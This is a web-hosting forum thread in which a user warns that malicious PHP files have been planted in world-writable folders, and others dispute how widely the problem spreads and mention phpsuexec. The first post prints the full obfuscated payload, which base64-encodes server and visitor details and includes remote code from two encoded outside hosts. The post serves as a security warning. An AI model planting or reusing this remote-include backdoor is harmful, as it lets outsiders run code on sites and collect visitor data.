clayhenry

Hello,

I already submited this to Surapss security.

There is a mayor problem with server security. All folders with write permissions (777) have malicious PHP code in them.

Usually they are called contact.php, download.php and other.

It consists of this code:

<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_en code($b).".".base64_encode($c).".".base64_encode($ d).".".base64_encode($e).".".base64_encode($f)."." .base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_dec ode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_deco de("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} ?>

The base64 encodes values are as follows:

"aHR0cDovLw==" is "http://"
"dXNlcjUucGhwc3VwcG9ydC5ydQ
"dXNlcjUucGhwc3VwcG9ydC5ydQ

Those files are in EVERY folder with 777 permission.

You can read about it in-depth here:
http://forums.asmallorange.com/lofiv...php/t5815.html

This DOES effect Surpass accounts.

Check your folders!!


vexcity.com
pass40

David

You should calm down. Just because this was on your site doesn't mean that ALL SERVERS AND FOLDERS WITH 777 have been affected. If a newer user looks and it's not there, they may freak out because they don't see it and think something worse is going on. Mass panicing everyone because this showed up on your site isn't a good idea. In fact, it's more likely that your site had insecurities in it to allow this, or the server you are only had an insecurity in one of the site's it's hosting which allowed this. This does not mean the whole data center is compromised or broken.

After reading that link, I didn't see anything in there saying that there was a hole in the server, but several saying it was likely the software...including the first post.

__________________

clayhenry

Please tell me where I mentioned "ALL SERVERS AND FOLDERS "?

I don’t see myself mentioning ALL SERVERS AND FOLDERS.

This in regards to PASS40.

What I meant was, if one folder is affected, all of them will be affected with that premission.
There are common scripts that require that permission.

Next time, I will defiantly think twice before posting a warning that will affect users.

You’re right; ignorance is bliss...carry on.

Kayla

Clay,

Soon Pass40 will have phpsuexec, as newer servers do.

__________________

Rai

We appreciate you offering a warning to all users, but next time ensure that you clearly specify what server you are talking about (preferably in the title of the post), since there are more than a few at Surpass. If I were to guess, I'd think you were talking about Pass5, since that's the server you have listed in your profile... I completely missed your reference to Pass40 in your first post. Just be clear so that people can't misinterpret what you're trying to say.

I can't wait for phpsuexec to finally get around to all servers... though, I'll admit, I only started actually understanding it about 2 nights ago.

__________________

clayhenry

My apologies, I do realized that I missed to emphasis what server I was on and was speeking off.
The title should have been a good place to put it.

This is the first time I hear of this phpsuexec.

Geoff

Not to be picky, but anyone reading your first will get the impression that you did say that. For one you explicitly stated ALL FOLDERS, and then said it affects Surpass accounts, which doesnt restrict your statement to just one server, it implies many, or most, or all, are "affected".

__________________
Geoff Ellis - Surpass Dedicated Server Customer
www.adepttechs.net

clayhenry

It's interesting how people on this forum choose to criticize the how the message was formulated then what it carries.

Yes, it does affect all folders on the affected account.

Yes, it does effect surpass accounts. It effected most of mine, and its not do to my error. Some scripts require 777 in order to function.

But please, go ahead pick apart at what I say.

Its funny how my first thought of warning other users have bean thrown back in my face.

I will defiantly keep that kind of stuff to my self. Lesson leaned.

My apologies If I have thrown you in to panic.

Geoff

lol im not the least bit worried about this "problem"

But what i have a problem with is you stating something, and then denying it in the exact same thread. You stated it, and then when someone asks you not to get people worried by telling them they are all vulnerable, you deny saying it. Yet its in writing at the top of the thread.

__________________
Geoff Ellis - Surpass Dedicated Server Customer
www.adepttechs.net